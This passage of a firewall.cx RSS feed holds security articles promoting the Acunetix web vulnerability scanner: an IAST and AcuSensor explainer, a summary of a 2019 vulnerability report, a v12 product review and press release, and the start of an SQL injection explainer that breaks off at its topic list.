<p style="text-align: justify;">Some <strong>security flaws</strong> may also be caused by <strong>bad configuration</strong>. This is another activity in which an <strong>IAST scanner</strong> can excel. Sensors can help to find security errors in interpreter/compiler configuration files and provide the scanner with additional information to attempt attacks based on these configuration properties.</p>
<p style="text-align: justify;">Last but not least, these two methods together can have a significant impact on the <strong>reduction of false positives</strong>! For example, when you run a time-based blind vulnerability test with a <strong>DAST scanner</strong>, the scanner may only guess that a time delay is caused by a vulnerability (for example, an SQL server processing a sleep command). When you have a sensor that is monitoring what is going on server-side, you can be one hundred percent sure what causes the time delay.</p>
<h2><a name="automation-to-the-rescue">Web Application Vulnerability Scanning - Automation To The Rescue</a></h2>
<p style="text-align: justify;">Using a sensor requires <strong>no additional work</strong> from developers. The <strong>IAST scanner</strong> uses clever tricks to intercept calls. When it is working with an interpreter, it listens in on the communication between the interpreter and the web server. It analyzes this communication, finds all the potentially risky calls, and uses even more clever tricks to modify calls on the fly by adding hooks. When it is working with a <strong>bytecode compiler</strong>, it taps the communication with the application server.</p>
<p style="text-align: justify;"><strong>IAST</strong> may make developer work even easier. If you use a <strong>DAST scanner</strong> and find a vulnerability, the developer always needs to go through the source code to identify the location of the security issue. But in some cases, a sensor may be able to pinpoint the root cause of the vulnerability and show you the line of code or give you a stack trace.</p>
<h2><a name="where-is-the-catch">Where’s the Catch? Supporting PHP, Java and .NET</a></h2>
<p style="text-align: justify;"><strong>Gray box testing</strong> looks too good to be true. The only problem is its coverage. Just like <strong>SAST scanners</strong>, <strong>IAST</strong> works only with specific programming languages and environments. At the moment, <strong>AcuSensor</strong> supports <strong>PHP</strong>, <strong>Java</strong>, and <strong>.NET</strong>. However, taking into consideration that according to W3Techs surveys these three technologies together cover 94.4% of the landscape, this should not be much of a concern for most.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Tue, 09 Apr 2019 20:29:29 +1000</pubDate>
		</item>
		<item>
			<title>Free Web Application Vulnerability Report (2019) – Popular Web Attacks, Vulnerabilities, Analysis, Remediation</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/web-application-vulnerability-report-2019.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/web-application-vulnerability-report-2019.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><a href="https://www.acunetix.com/acunetix-web-application-vulnerability-report?utm_source=firewall.cx&amp;utm_campaign=security&amp;utm_medium=textlink" target="_blank" rel="nofollow noopener" title="free to download annual web application vulnerability"><img src="https://www.firewall.cx/images/stories/web-application-security/2019-web-application-vulnerability-report/acunetix-2019-web-application-vulnerability-report.jpg" alt="2019 web application vulnerability report – Popular Web Attacks, Vulnerabilities, Analysis, Remediation" style="margin: 7px; float: left;" title="2019 web application vulnerability report – Popular Web Attacks, Vulnerabilities, Analysis, Remediation" /></a>Acunetix has just released their <strong>annual Web Application Vulnerability report</strong> which aims to provide <strong>security professionals</strong>, <strong>web application developers, system administrators, web server administrators</strong> and other interested parties with an <strong>analysis</strong> of <strong>data</strong> on <strong>web application vulnerabilities</strong> detected the past year via scans run on the <strong>Acunetix Online platform</strong>.</p>
<p style="text-align: justify;">The extensive report has been compiled from scans performed from <strong>more than 10,000 targets</strong> and reveals some very interesting results about today's security threats and the percentage of organizations that correctly deal with their vulnerable web applications and exploits. From&nbsp;<a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/how-sql-injection-attacks-work-examples.html" target="_blank" title="SQL Injection vulnerabilities">SQL Injection vulnerabilities</a>&nbsp;to&nbsp;<a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html" target="_blank" title="Cross-Site-Scripting (XSS) vulnerabilities">Cross-Site-Scripting (XSS) vulnerabilities</a>, popular CMS platform vulnerabilities to remediation steps and more.</p>
<p>Here are some of the report's highlights that will surely interest every <strong>IT security professional</strong> and <strong>web application developer</strong>:&nbsp;</p>
<ul class="check">
<li>46% of websites scanned contained high severity vulnerabilities</li>
<li>87% of websites contained medium severity vulnerabilities</li>
<li>SQL Injection vulnerabilities have declined slightly</li>
<li>30% of websites contained Cross-Site-Scripting (XSS) vulnerabilities</li>
<li>30% of websites had vulnerable JavaScript Libraries</li>
<li>30% of websites were WordPress sites with a number of vulnerabilities</li>
</ul>
<p style="text-align: justify;">The report is a great opportunity for professionals to learn more about the latest and greatest vulnerabilities circling the web and proactively take measures to ensure their own websites and web applications are properly tested and patched against popular vulnerabilities and attacks.</p>
<p style="text-align: justify;">Here’s <strong>vital security information</strong> the <strong>2019 Web Application Vulnerability Report</strong> contains:</p>
<ul class="check">
<li>Vulnerabilities that are rising and falling in frequency</li>
<li>Vulnerability findings by type and severity</li>
<li>Changes in the threat landscape from both clients and server sides</li>
<li>The four major stages of vulnerability analysis</li>
<li>Detailed analysis of each discovered vulnerability – how it works, pointers and remediation steps</li>
<li>Current security concerns – increasing complexity of new applications, accelerating rate of new versions and the problem of scale</li>
<li>Vulnerabilities that are major to the security of all organizations, regardless of their size and location.</li>
<li>Plenty of useful information and advice aimed for network security professionals, web application developers, IT Managers, security auditors, application architects and more.</li>
</ul>
<p style="text-align: justify;">The <strong>2019 Web Application Vulnerability Report</strong> is used by leading <strong>security professionals</strong> and <strong>web application developers</strong> to help <strong>understand</strong> how to <strong>protect network and applications</strong> for the <strong>latest security threats</strong> and <strong>web vulnerabilities</strong>.</p>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/2019-web-application-vulnerability-report/acunetix-2019-web-application-vulnerability-report-pages.jpg" alt="2019 web application vulnerability report pages" style="display: block; margin-left: auto; margin-right: auto;" title="2019 web application vulnerability report pages" /></p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Wed, 06 Feb 2019 22:07:39 +1100</pubDate>
		</item>
		<item>
			<title>Acunetix Enterprise: Find Website - Web Application Vulnerabilities &amp; Security Flaws Before Hackers Do</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/discover-web-application-vulnerabilities-with-acunetix-enterprise.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/discover-web-application-vulnerabilities-with-acunetix-enterprise.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/acunetix-vulnerability-scanner-on-pc.jpg" alt="acunetix vulnerability scanner on pc" style="margin: 7px; float: left;" title="acunetix vulnerability scanner on pc" />Security researchers disagree about the percentage of <strong>vulnerable websites</strong>, but most concur that it’s way too high. Despite their long history, <strong>attackers</strong> continue to use <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html" target="_blank" title="cross-site scripting"><strong>cross-site scripting</strong></a> (XSS), <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/how-sql-injection-attacks-work-examples.html" target="_blank" title="SQL injection"><strong>SQL injection</strong></a> and more to <strong>successfully compromise sites</strong> and <strong>web applications</strong>. In today’s era of <strong>cloud-based</strong> and <strong>on-premises web applications</strong> that connect directly into the organization - it’s more important than ever to take a step back and consider the <strong>risk of web &amp; security vulnerabilities</strong> that can leave your organization open to <strong>hackers</strong>.</p>
<p style="text-align: justify;">As web applications scale, <strong>manual security assessments</strong> can become <strong>time-consuming</strong> and <strong>challenging</strong> to process while outsourcing these tasks won’t always provide the desired result. In many cases, a <strong>degree of automation</strong> is the way forward, and the decision becomes which <strong>web vulnerability scanner to choose</strong>.</p>
<p style="text-align: justify;">Firewall.cx has written extensively about the pros of <strong>web vulnerability scanners</strong>, <strong>popular tools</strong>, and <strong>good common security practices</strong>. Despite this, we keep coming back to <strong>Acunetix</strong>, and it recently received a <strong>major upgrade</strong>. <strong>Version 12</strong> of the <strong>enterprise-grade security tool</strong> is a significant leap forward that deserves an in-depth assessment.</p>
<p style="text-align: justify;">Founded in 2005, Acunetix was designed to <strong>replicate hackers</strong>, yet <strong>catch vulnerabilities</strong> before they do. The leaps and bounds since its release have led to use in <strong>government</strong>, <strong>military</strong>, and <strong>banking</strong>, as well as partnership with <strong>Microsoft</strong> and <strong>AWS</strong>.</p>
<p>Before we dive in our in-depth analysis let’s take a look at the topics covered:</p>
<ul>
<li><a href="https://www.firewall.cx/#installing-using-acunetix-12-enterprise" title="Installation and Using Acunetix 12 Enterprise">Installation and Using Acunetix 12 Enterprise</a></li>
<li><a href="https://www.firewall.cx/#scanning-web-applications-sites-with-acunetix" title="Scanning Web Applications and Websites with Acunetix 12 Enterprise">Scanning Web Applications and Websites with Acunetix 12 Enterprise</a></li>
<li><a href="https://www.firewall.cx/#acusensor" title="AcuSensor – Achieving 100% High-Severity Vulnerability Accuracy">AcuSensor – Achieving 100% High-Severity Vulnerability Accuracy</a></li>
<li><a href="https://www.firewall.cx/#reporting" title="Acunetix Reporting, Exporting, and Issue Tracking">Acunetix Reporting, Exporting, and Issue Tracking</a></li>
<li><a href="https://www.firewall.cx/#conclusion" title="Conclusion">Conclusion</a></li>
</ul>
<h2 style="text-align: left;"><a name="installing-using-acunetix-12-enterprise">Installing and Using Acunetix 12 Enterprise</a></h2>
<p style="text-align: justify;">When it comes to sheet usability, it’s easy to see why. While most readers will have no problems with complex setups, it’s always nice to avoid the hassle. Acunetix’s installation is a matter of <strong>creating an admin account</strong>, <strong>entering the license key</strong>, and choosing a <strong>port</strong>.</p>
<p style="text-align: center;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/1-acunetix-enterprise-installation.png" alt="acunetix enterprise installation" title="acunetix enterprise installation" /></p>
<p style="text-align: justify;">All told, it took a matter of minutes to get up and running and <strong>didn’t require</strong> any <strong>additional configuration</strong> or <strong>restarts</strong>. For <strong>Enterprise customers</strong>, <strong>multi-engine deployment</strong> is also available, allowing for more <strong>simultaneous scans</strong>. As you’d expect, the setup is a little more complex, but still only requires a <strong>single line in command prompt</strong> and some additional registration inside Acunetix. Once configured, users can set targets to only scan with a specific engine and can push past the normal limit of <strong>25 simultaneous scans</strong>.</p>
<p style="text-align: justify;">However, many organizations will still want to setup user accounts for different roles. The software has three different account types for <strong>Tech Admins</strong>, <strong>Testers</strong>, and <strong>Auditors</strong>:</p>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/2-acunetix-user-groups.png" alt="acunetix enterprise user groups" style="display: block; margin-left: auto; margin-right: auto;" title="acunetix enterprise user groups" /></p>
<p style="text-align: justify;">Adding additional users is possible via a tab in the <strong>settings menu</strong>, with an <strong>email</strong> and <strong>secure password</strong> with <strong>special characters</strong> required. After selecting a <strong>role</strong>, the admin can decide whether to give users access to <strong>all targets</strong> or add them to a specific <strong>target group</strong> at a later date.</p>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/3-acunetix-creating-accounts.png" alt="acunetix enterprise creating accounts" style="display: block; margin-left: auto; margin-right: auto; border: 1px solid #000000;" title="acunetix enterprise creating accounts" /></p>
<p style="text-align: justify;"><strong>Standard licenses</strong> are limited to <strong>one user</strong>, but <strong>Enterprise</strong> and <strong>Online plans</strong> can make an <strong>unlimited number</strong>, all with <strong>separate roles</strong> and <strong>targets</strong>. For additional security, admins can enable <strong>two-factor authentication</strong>, <strong>enforce password changes</strong>, and specify the <strong>amount of login failures</strong> before lockout.</p>
<h2 style="text-align: left;"><a name="scanning-web-applications-sites-with-acunetix">Scanning Web Applications and Websites with Acunetix 12 Enterprise</a></h2>
<p style="text-align: justify;">After installation, Acunetix’s web portal opens in the default browser. Users are taken to the <strong>dashboard</strong>, which reveals the number of <strong>open vulnerabilities discovered</strong>, <strong>websites scanned</strong>, and <strong>most common vulnerabilities</strong>.</p>
<p style="text-align: center;"><a href="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/4-acunetix-enterprise-main-dashboard-large.png" class="jcepopup" title="Acunetix Enterprise main dashboard" data-mediabox="1" data-mediabox-title="Acunetix Enterprise main dashboard"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/4-acunetix-enterprise-main-dashboard-small.png" alt="acunetix enterprise main dashboard " title="acunetix enterprise main dashboard" /></a></p>
<p style="text-align: center;">Click to enlarge</p>
<p style="text-align: justify;">Users are able to <strong>click</strong> on the <strong>High</strong>, <strong>Medium</strong>, and be taken straight to the <strong>Vulnerabilities section</strong> for a detailed breakdown. They can <strong>click</strong> through to specific <strong>websites</strong>, <strong>vulnerability types</strong>, and <strong>active/waiting scans</strong>. It’s a fairly comprehensive overview, and it gets more interesting when you hit the <strong>show trends</strong> button.</p>
<p style="text-align: justify;">Here, Acunetix gives some long-term metrics. <strong>Line graphs</strong> show the number of <strong>open vulnerabilities</strong> in a <strong>12-month period</strong>, the <strong>average number of days</strong> to <strong>remediate issues</strong>, <strong>issues over time</strong>, and more.</p>
<p style="text-align: center;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/5-acunetix-enterprise-attacks-.png" alt="acunetix enterprise attacks " title="acunetix enterprise attacks " /></p>
<p style="text-align: justify;">However, though the <strong>dashboard</strong> presents a nice overview, core functionality is found under the <strong>Targets</strong> heading. Users are able to <strong>click</strong> the <strong>Add Target</strong> button and enter and <strong>website or application URL</strong> with a description for easy identification.</p>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/6-acunetix-scan-site-setup.png" alt="acunetix scan site setup" style="display: block; margin-left: auto; margin-right: auto;" title="acunetix scan site setup" /></p>
<p style="text-align: justify;">Acunetix then presents you with a number of options, separated into <strong>General</strong>, <strong>Crawl</strong>, <strong>HTTP</strong>, and <strong>Advanced</strong> tabs. The general tab lets you specify the <strong>business criticality</strong> of the target, which helps to <strong>prioritize the vulnerabilities</strong> it detects. You can also <strong>set the speed</strong> of the scan and choose to scan continuously to monitor the progress long-term. If a scan is taking too long, you can pause it and continue at a later date.</p>
<p style="text-align: justify;">With <strong>advanced options</strong>, you can specify the languages to scan, <strong>add custom headers and cookies</strong>, and specify <strong>allowed hosts</strong>. There’s also the ability to <strong>import files</strong> for the <strong>crawler</strong>, such as <strong>URL lists</strong> and <strong>Fiddler Proxy Export</strong>. You can even craft <strong>custom scan types</strong> to look for <strong>recently disclosed vulnerabilities</strong>.</p>
<p style="text-align: justify;">The <strong>search section</strong> also houses the <strong>site login option</strong>, which gives the app access to <strong>restricted areas</strong> for better scanning.&nbsp; In most cases, Acunetix can <strong>login to the site automatically</strong>, but there’s also an option to <strong>record your login sequences</strong> via a dedicated sequence wizard.</p>
<p style="text-align: center;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/7-acunetix-enterprise-site-scan-.png" alt="acunetix enterprise site scan " title="acunetix enterprise site scan " /></p>
<p style="text-align: justify;">It seems <strong>Acunetix</strong> has thought of pretty much everything here, and a <strong>scan of known test sites</strong> revealed many types of issues. It was adept and discovering <strong>several instances of cross-site scripting</strong>, as well as <strong>expression language injection</strong> and <strong>DOM-based XSS</strong>.</p>
<p style="text-align: justify;">Importantly, though, it was also able to find issues that weren’t as critical. <strong>Medium severity issues</strong> such as <strong>Apache httpOnly cookie disclosure</strong>, <strong>HTML injection</strong>, <strong>vulnerable Javascript libraries</strong> and more were all discovered. <strong>Acuentix</strong> has made several improvements to their scan times, and we found scans to take <strong>no more than 15 minutes</strong> even on <strong>large sites</strong> and with a slow connection.</p>
<p style="text-align: center;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/8-acunetix-enterprise-vulnerability-list-.png" alt="acunetix enterprise vulnerability list " title="acunetix enterprise vulnerability list " /></p>
<p style="text-align: justify;">As mentioned earlier, you can drill down into specific vulnerabilities for more information. A page will give an explanation of the vulnerability, the <strong>details of the attack</strong>, <strong>HTTP requests</strong>, and <strong>impact</strong>. Critically, there’s also information about <strong>how to fix the issue</strong>, as well as a <strong>CWE link</strong> and <strong>CVSS information</strong>. Once reviewed, you can mark them as <strong>fixed</strong>, <strong>ignored</strong>, or <strong>false positive</strong>.</p>
<p style="text-align: center;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/9-acunetix-enterprise-examining-vulnerability.png" alt="acunetix enterprise examining vulnerability" title="acunetix enterprise examining vulnerability" /></p>
<p style="text-align: justify;">You’re also able to look at vulnerabilities from a <strong>site vulnerability perspective</strong>, looking at the status of <strong>individual files</strong> and the <strong>specific parameters</strong> within them.</p>
<h2 style="text-align: left;"><a name="acusensor">AcuSensor – Achieving 100% High-Severity Vulnerability Accuracy</a></h2>
<p style="text-align: justify;">Despite all this, <strong>Acunetix</strong> emphasises that its users will get better results with the use of <strong>AcuSensor</strong>. The <strong>AcuSensor agent</strong> is available for installation on the website in <strong>PHP</strong>, <strong>.NET</strong>, and <strong>Java</strong> form, and <strong>improves the accuracy of the scan</strong> with <strong>better crawling and detection</strong>, and well as a <strong>decrease in false positives</strong>. The company promises a <strong>100% high-severity vulnerability accuracy</strong> and detection of a <strong>larger range of SQL injection </strong>issues.</p>
<p style="text-align: center;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/10-acunetix-enterprise-how-acusensor-works.png" alt="acunetix enterprise how acusensor works" title="acunetix enterprise how acusensor works" /></p>
<p style="text-align: justify;">The tool also gives <strong>line-of-code information</strong> for <strong>PHP applications</strong> and <strong>stack traces</strong> for <strong>ASP.NET</strong> and <strong>Java</strong>, as well as <strong>example SQL queries</strong> for <strong>injections</strong>. This makes it a <strong>very powerful offering</strong>, though it isn’t recommended for production environments.</p>
<p style="text-align: justify;">Via a <strong>Jenkins</strong> plugin, the Enterprise variant can also be implemented in <strong>continuous integration processes</strong>. <strong>Jenkins</strong> can automatically <strong>trigger scans and reports</strong> with each build, creating both <strong>PDF Acunetix versions</strong> and an <strong>HTML Jenkins </strong>one. It can also <strong>fail builds</strong> if a certain <strong>threat level is reached</strong>. There’s a <strong>REST API</strong> for other integrations, with up-to-the-minute status of ongoing scans, vulnerability details, and more.</p>
<h2 style="text-align: left;"><a name="reporting">Acunetix Reporting, Exporting, and Issue Tracking</a></h2>
<p style="text-align: justify;">Once a scan is complete, users have several options of how to proceed. A strong point of <strong>Acunetix</strong> is its support for a number of <strong>Web Application Firewalls</strong>. The software’s <strong>WAF Export option</strong> supports a number of major solutions, including <strong>F5</strong>, <strong>Imperva</strong>, and <strong>Fortinet</strong>. For others, there’s the choice to export as a <strong>regular XML</strong>, but that’s only available if you export a <strong>full scan</strong>. For specific vulnerabilities, you’ll have to use one of the other formats.</p>
<p style="text-align: center;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/11-acunetix-enterprise-reporting.png" alt="acunetix enterprise reporting" title="acunetix enterprise reporting" /></p>
<p style="text-align: justify;">Perhaps more useful is the ability to send vulnerabilities to an <strong>issue tracker</strong>, though it does have to be configured first. After finding the option, you <strong>add GitHub login details</strong> and selecting the relevant project. There’s the option to <strong>specify an issue type</strong>, as well as <strong>validate the connection </strong>before exiting.</p>
<p style="text-align: justify;">You then have to <strong>set up the tracker</strong> to with every site by heading back to <strong>Targets</strong> menu and changing the <strong>advanced option</strong>. It’s a little clunky to add the option retroactively, but it gets the job done.</p>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/12-acunetix-enterprise-reporting.png" alt="acunetix enterprise reporting" style="display: block; margin-left: auto; margin-right: auto; border: 1px solid #000000;" title="acunetix enterprise reporting" /></p>
<p style="text-align: justify;">In Firewall.cx’s testing, the issues <strong>pushed to GitHub near-instantly</strong>, with relevant labels and all of the information provided. That includes the <strong>target URL</strong>, <strong>severity</strong>, <strong>attack details</strong>, <strong>HTTP requests</strong>, <strong>impact</strong>, <strong>remediation suggestions</strong>, and <strong>references</strong>. It all works with a <strong>single button press</strong> and we have no doubt this will greatly speed up workflows.</p>
<p style="text-align: justify;">Similar functionality exists for <strong>JIRA</strong> and <strong>Microsoft TFS</strong>, though <strong>JIRA</strong> currently has a limit of 20 issue tracker items. It’s generally smart during the process, refusing to open duplicate issues for the most part.</p>
<p style="text-align: justify;">Overall, the issue tracker capabilities are quite impressive and intuitive, but there are options for traditional reporting if your organization requires it. There a number of <strong>standard templates</strong>, but also a total of ten different compliance templates, which is extremely useful.</p>
<p style="text-align: center;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/13-acunetix-enterprise-compliance-reporting-templates.png" alt="acunetix enterprise compliance reporting templates" title="acunetix enterprise compliance reporting templates" /></p>
<p style="text-align: justify;">Reports are available in <strong>PDF</strong> or <strong>HTML</strong> for <strong>CWE 2011</strong>, <strong>HIPAA</strong>, <strong>ISO 27001</strong>, <strong>OWASP</strong>, and more. Each starts with an explanation and continues with a <strong>category-by-category breakdown</strong> with the number of <strong>alerts</strong> and <strong>information</strong> about each.</p>
<p style="text-align: center;"><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-enterprise-v12-review/14-acunetix-enterprise-reporting.png" alt="acunetix enterprise reporting" style="border: 1px solid #000000;" title="acunetix enterprise reporting" /></p>
<p style="text-align: justify;">There’s no real room for customisation here, but there’s little need for it. Everything you’d expect is covered, and displayed in a logical, if not particularly pretty way. Reports generate quickly in the background and can be produced on a per-scan, per-target, or bulk basis.</p>
<h2 style="text-align: left;"><a name="conclusion">Conclusion</a></h2>
<p style="text-align: justify;">Firewall.cx first began its journey with <strong>Acunetix</strong> began almost 12 years ago with its standalone Windows 98 program. The distance the <strong>web vulnerability scanner</strong> has come since then is <strong>truly immeasurable</strong>, managing to keep up with the competition as other companies have faded into the background.</p>
<p style="text-align: justify;">The product sports a <strong>minimal</strong> and <strong>modern UI</strong>, but its results aren’t to be scoffed at, being <strong>the only one </strong><strong>to net out-of-band vulnerabilities</strong>. Its long time in the industry has allowed it to think of pretty much everything, with no major drawbacks to speak of and new integrations in the works. Though report design is average, the number of templates is higher than usual, and many will lean on its issue tracker support.</p>
<p style="text-align: justify;">Thanks to <strong>Acunetix Enterprise v12</strong>, organizations are now able to scan <strong>in-house</strong>, <strong>third-party</strong> and <strong>cloud-based web applications</strong> or <strong>websites</strong> for <strong>security vulnerabilities</strong> such as <strong>SQL injections</strong>, <strong>Cross-Site Scripting attacks</strong>, <strong>hundreds of other</strong> <strong>security flaws</strong>, and take corrective action. Developers can <strong>automate vulnerability assessments</strong> in their processes, achieve <strong>100% high-severity vulnerability accuracy</strong> thanks to <strong>AcuSensor</strong> and <strong>detect</strong> of a <strong>larger range of SQL injection </strong>issues. <strong>Compliance reports</strong> can be generated to suite <strong>CWE 2011</strong>, <strong>HIPAA</strong>, <strong>ISO 27001</strong>, <strong>OWASP standards</strong> and much more.</p>
<p style="text-align: justify;">Despite this significant feature set, it remains affordable to all ogranizations and is well worth looking into. An <strong>Enterprise Plus</strong> plan also available, offering <strong>over 20 targets</strong> at a variable price.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Wed, 03 Oct 2018 12:43:11 +1000</pubDate>
		</item>
		<item>
			<title>Acunetix v12: More Comprehensive, More Accurate and now 2X Faster Web Vulnerability Scanner</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/acunetix-v12-fast-accurate-web-vulnerability-scanner.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/acunetix-v12-fast-accurate-web-vulnerability-scanner.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><strong><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-v12-press-release/acunetix-logo.jpg" alt="acunetix logo" style="margin: 7px; float: left;" title="Acunetix Logo" />22nd May 2018</strong>: <strong>Acunetix,</strong> the pioneer in <strong>automated web application security software</strong>, has announced the release of version 12. This new version provides support for J<strong>avaScript ES7</strong> to better analyse sites which rely heavily on JavaScript such as SPAs. This coupled with a new AcuSensor for <strong>Java web applications</strong>, sets Acunetix ahead of the curve in its ability to <strong>comprehensively and accurately scan all types of websites</strong>. With v12 also comes a <strong>brand new scanning engine</strong>, <strong>re-engineered and re-written from the ground up</strong>, making Acunetix the <strong>fastest scanning engine in the industry</strong>.</p>
<p style="text-align: justify;"><em>“Acunetix was always in the forefront when it came to accuracy and speed, however now with the re-engineered scanning engine and sensors that support the latest JavaScript and Java technologies, we are seeing websites scanned up to 2x faster without any compromise on accuracy.” announced Nicholas Sciberras, CTO.</em></p>
<p>A free trial version can be downloaded from: http://www.acunetix.com/vulnerability-scanner/download/</p>
<h2 style="text-align: justify;">Support For Latest JavaScript</h2>
<p style="text-align: justify;"><strong><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-v12-press-release/acunetix-v12-intro.jpg" alt="acunetix v12 intro" style="margin: 7px; float: left;" title="Acunetix Web Vulnerability Scanner" />Acunetix DeepScan</strong> and the <strong>Acunetix Login Sequence Recorder</strong> have been updated to support <strong>ECMAScript version 6</strong> (ES6) and <strong>ECMAScript version 7</strong> (ES7). This allows Acunetix to better analyse <strong>JavaScript-rich sites</strong> which make use of the latest <strong>JavaScript features</strong>. The modularity of the new Acunetix architecture also makes it much easier now for the technology to stay ahead of the industry curve.</p>
<h2 style="text-align: justify;">AcuSensor For Java</h2>
<p style="text-align: justify;">Acunetix version 12 includes a <strong>new AcuSensor</strong> for <strong>Java web applications</strong>. This improves the coverage of the web site and the detection of web vulnerabilities, decreases false positives and provides more information on the vulnerabilities identified. While already supporting PHP and ASP .NET, the introduction of Java support in AcuSensor means that Acunetix coverage for interactive gray box scanning of web applications is now possibly the widest in the industry.</p>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-v12-press-release/acunetix-web-vulnerability-scanner-v12.png" alt="acunetix web vulnerability scanner v12 AcuSensor for Java" style="display: block; margin-left: auto; margin-right: auto;" title="Acunetix with AcuSensor for Java" /></p>
<h2 style="text-align: justify;">Speed &amp; Efficiency With Multi-Engine</h2>
<p style="text-align: justify;">Combining the fastest scanning engine with the ability to scan multiple sites at a time, in a multi-engine environment, allows users to scan thousands of sites in the least time possible. The <strong>Acunetix Multi-engine setup</strong> is suitable for <strong>Enterprise customers</strong> who need to scan more than 10 websites or web applications at the same time. This can be achieved by installing one Main Installation and multiple Scanning Engines, all managed from a central console.</p>
<h2 style="text-align: justify;">Pause / Resume Feature</h2>
<p style="text-align: justify;"><strong>Acunetix Version 12</strong> allows the user to pause a <strong>Scan and Resume</strong> the scan at a later stage. Acunetix will proceed with the scan from where it had left off. There is <strong>no need to save any scan state files or </strong>similiar - the information about the paused scan is automatically retained in Acunetix.</p>
<p><img src="https://www.firewall.cx/images/stories/web-application-security/acunetix-v12-press-release/acunetix-web-vulnerability-scanner-paused-scan.png" alt="acunetix web vulnerability scanner paused scan" style="display: block; margin-left: auto; margin-right: auto;" title="acunetix web vulnerability scanner paused scan" /></p>
<h2 style="text-align: justify;">About Acunetix</h2>
<p style="text-align: justify;">User-friendly and competitively priced, Acunetix leads the market in automatic web security testing technology. Its industry leading crawler fully supports HTML5 and JavaScript and AJAX-heavy websites, allowing auditing of complex, authenticated applications. Acunetix provides the only technology on the market that can automatically detect out-of-band vulnerabilities and is available both as an online and on premise solution. Acunetix also includes integrated vulnerability management features to extend the enterprise’s ability to comprehensively manage, prioritise and control vulnerability threats – ordered by business criticality.</p>
<h2 style="text-align: justify;">Acunetix, The Company</h2>
<p style="text-align: justify;"><em>Founded in 2004 to combat the alarming rise in web application attacks, Acunetix is the market leader, and a pioneer in automated web application security technology. Acunetix products and technologies are depended on globally by individual pen-testers and consultants all the way to large organizations. It is the tool of choice for many customers in the Government, Military, Educational, Telecommunications, Banking, Finance, and E-Commerce sectors, including many Fortune 500 companies, such as the Pentagon, Nike, Disney, Adobe&nbsp; and many more.<br /></em></p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Tue, 22 May 2018 22:31:20 +1000</pubDate>
		</item>
		<item>
			<title>Everything You Need to Know About SQL Injection Attacks &amp; Types, SQLi Code Example, Variations, Vulnerabilities &amp; More </title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/how-sql-injection-attacks-work-examples.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/how-sql-injection-attacks-work-examples.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><strong><img src="https://www.firewall.cx/images/stories/web-application-security/how-sql-injections-work/sql-injection-intro.png" alt="sql injection intro" style="margin: 7px; float: left;" title="sql injection intro" />SQL Injection Attacks</strong> are one of the most popular attacks against web servers, websites and web applications. A fairly popular website can expect to receive anywhere between 80 and 250 <strong>SQL injection attacks</strong> on a <strong>daily basis</strong> and these figures can easily reach thousands when an <strong>SQL vulnerability is disclosed</strong> to the public.</p>
<p style="text-align: justify;">This article aims to help network engineers, administrators, security experts and IT professionals understand what an <strong>SQL injection</strong> is by taking you step-by-step on how an <strong>HTTP SQL injection attack</strong> is executed using real code.&nbsp;</p>
<p style="text-align: justify;">Here is a list of topics we’ll cover:</p>
<ul>
<li><a href="https://www.firewall.cx/#sql-injection-attacks-basics" title="SQL Injection Attacks – Basics">SQL Injection Attacks – Basics</a></li>
<li><a href="https://www.firewall.cx/#example-of-an-sql-injection-vulnerability" title="Example of an SQL Injection Vulnerability">Example of an SQL Injection Vulnerability</a></li>
<li><a href="https://www.firewall.cx/#exploiting-sql-injection-vulnerabilities" title="Exploiting SQL Injection Vulnerabilities">Exploiting SQL Injection Vulnerabilities</a></li>
<li><a href="https://www.firewall.cx/#variations-of-sql-injection-attacks" title="Variations of SQL Injection Attacks">Variations of SQL Injection Attacks</a></li>
<li><a href="https://www.firewall.cx/#in-band-sql-injection" title="In-Band SQL Injection">In-Band SQL Injection</a></li>
